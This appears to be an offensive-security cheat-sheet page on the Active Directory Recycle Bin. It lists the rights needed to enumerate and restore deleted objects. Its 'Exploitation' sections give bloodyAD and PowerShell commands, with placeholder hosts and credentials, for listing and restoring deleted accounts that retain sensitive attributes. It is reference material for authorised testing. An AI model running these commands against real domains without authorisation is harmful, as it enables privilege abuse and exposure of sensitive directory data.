Skip to content

Active Directory - Recycle Bin

Details

  • Deleted objects have a default retention time of 180 days
  • Recycle Bin path: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com

Enable Active Directory Recycle Bin in PowerShell

Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=com' -Scope ForestOrConfigurationSet -Target 'contoso.com'

Deleted Objects

Requirements:

  • LIST_CHILD right on the Deleted Objects container
  • OID 1.2.840.113556.1.4.2064: shows deleted, tombstoned, and recycled

Exploitation:

  • List rights

    bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=domain,DC=local' --filter "(objectClass=container)"

  • Check all rights from the requirements

    bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get writable --include-del

  • List deleted objects with bloodyAD

    bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name

  • List deleted objects with PowerShell

    Get-ADObject -Filter 'Name -Like "*User*"' -IncludeDeletedObjects

Restore Objects

Requirements:

  • Restore Tombstoned right on the domain object
  • Generic Write right on the deleted object
  • Create Child right on the OU used for restoration

By default, only Domain Admins are able to list and restore deleted objects.

On restoration some objects retains attributes:

  • Deleted objects retain all their attributes (including sensitive ones)
  • Tombstoned objects retain most important attributes

Exploitation:

  • Check restore rights

    bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd                   

bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(&(isDeleted=TRUE)(sAMAccountName=deleted-computer$))' --attr ntsecuritydescriptor --resolve-sd

bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'CN=Users,DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd

  • Restore the object using the sAMAccountName or objectSID

    bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 set restore 'S-1-5-21-1394970401-3214794726-2504819329-1104'

References